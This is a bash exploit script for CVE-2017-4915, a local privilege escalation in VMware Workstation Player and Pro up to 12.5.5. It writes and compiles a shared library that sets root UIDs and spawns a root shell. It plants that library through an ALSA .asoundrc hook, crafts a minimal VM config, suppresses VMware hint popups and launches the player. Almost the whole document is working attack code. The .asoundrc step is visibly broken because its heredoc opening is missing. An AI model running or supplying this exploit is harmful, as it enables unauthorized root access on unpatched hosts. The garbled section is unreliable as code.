#!/bin/bash
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# VMware Workstation Local Privilege Escalation exploit (CVE-2017-4915) #
# - https://www.vmware.com/security/advisories/VMSA-2017-0009.html #
# - https://www.exploit-db.com/exploits/42045/ #
# #
# Affects: #
# - VMware Workstation Player <= 12.5.5 #
# - VMware Workstation Pro <= 12.5.5 #
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# ~ bcoles
VM_PLAYER=/usr/bin/vmplayer
GCC=/usr/bin/gcc
RAND_STR=$(echo $RANDOM | tr '[0-9]' '[a-zA-Z]')
VM_DIR=$HOME/.$RAND_STR
echo "[*] Creating directory $VM_DIR"
mkdir "$VM_DIR"
if [ $? -ne 0 ] ; then
echo "[-] Could not create $VM_DIR"
exit 1
fi
echo "[*] Writing $VM_DIR/$RAND_STR.c"
cat > "$VM_DIR/$RAND_STR.c" <<EOL
#define _GNU_SOURCE
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <err.h>
extern char *program_invocation_short_name;
__attribute__((constructor)) void run(void) {
uid_t ruid, euid, suid;
if (getresuid(&ruid, &euid, &suid))
err(1, "getresuid");
printf("[*] Current UIDs: %d %d %d\n", ruid, euid, suid);
if (ruid == 0 || euid == 0 || suid == 0) {
if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
err(1, "setresxid");
printf("switched to root UID and GID");
system("/bin/bash");
_exit(0);
}
}
EOL
echo "[*] Compiling $VM_DIR/$RAND_STR.c"
$GCC -shared -o "$VM_DIR/$RAND_STR.so" "$VM_DIR/$RAND_STR.c" -fPIC -Wall -ldl -std=gnu99
if [ $? -ne 0 ] ; then
echo "[-] Compilation failed"
exit 1
fi
echo "[*] Removing $VM_DIR/$RAND_STR.c"
rm "$VM_DIR/$RAND_STR.c"
echo "[*] Writing $HOME/.asoundrc"
lib "$VM_DIR/$RAND_STR.so"
func "conf_pulse_hook_load_if_running"
}
EOL
echo "[*] Writing $VM_DIR/$RAND_STR.vmx"
cat > "$VM_DIR/$RAND_STR.vmx" <<EOL
.encoding = "UTF-8"
config.version = "8"
virtualHW.version = "8"
scsi0.present = "FALSE"
memsize = "4"
ide0:0.present = "FALSE"
sound.present = "TRUE"
sound.fileName = "-1"
sound.autodetect = "TRUE"
vmci0.present = "FALSE"
hpet0.present = "FALSE"
displayName = "$RAND_STR"
guestOS = "other"
nvram = "$RAND_STR.nvram"
virtualHW.productCompatibility = "hosted"
gui.exitOnCLIHLT = "FALSE"
powerType.powerOff = "soft"
powerType.powerOn = "soft"
powerType.suspend = "soft"
powerType.reset = "soft"
floppy0.present = "FALSE"
monitor_control.disable_longmode = 1
EOL
echo "[*] Disabling VMware hint popups"
if [ ! -d "$HOME/.vmware" ]; then
mkdir "$HOME/.vmware"
fi
if [ -f "$HOME/.vmware/preferences" ]; then
if grep -qi "hints.hideall" "$HOME/.vmware/preferences"; then
sed -i 's/hints\.hideAll\s*=\s*"FALSE"/hints.hideAll = "TRUE"/i' "$HOME/.vmware/preferences"
else
echo 'hints.hideAll = "TRUE"' >> "$HOME/.vmware/preferences"
fi
else
echo '.encoding = "UTF8"' > "$HOME/.vmware/preferences"
echo 'pref.vmplayer.firstRunDismissedVersion = "999"' >> "$HOME/.vmware/preferences"
echo 'hints.hideAll = "TRUE"' >> "$HOME/.vmware/preferences"
fi
echo "[*] Launching VMware Player..."
$VM_PLAYER "$VM_DIR/$RAND_STR.vmx"
echo "[*] Removing $HOME/.asoundrc"
rm "$HOME/.asoundrc"
echo "[!] Remove $VM_DIR when you're done"
rmdir "$VM_DIR"
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# EOF
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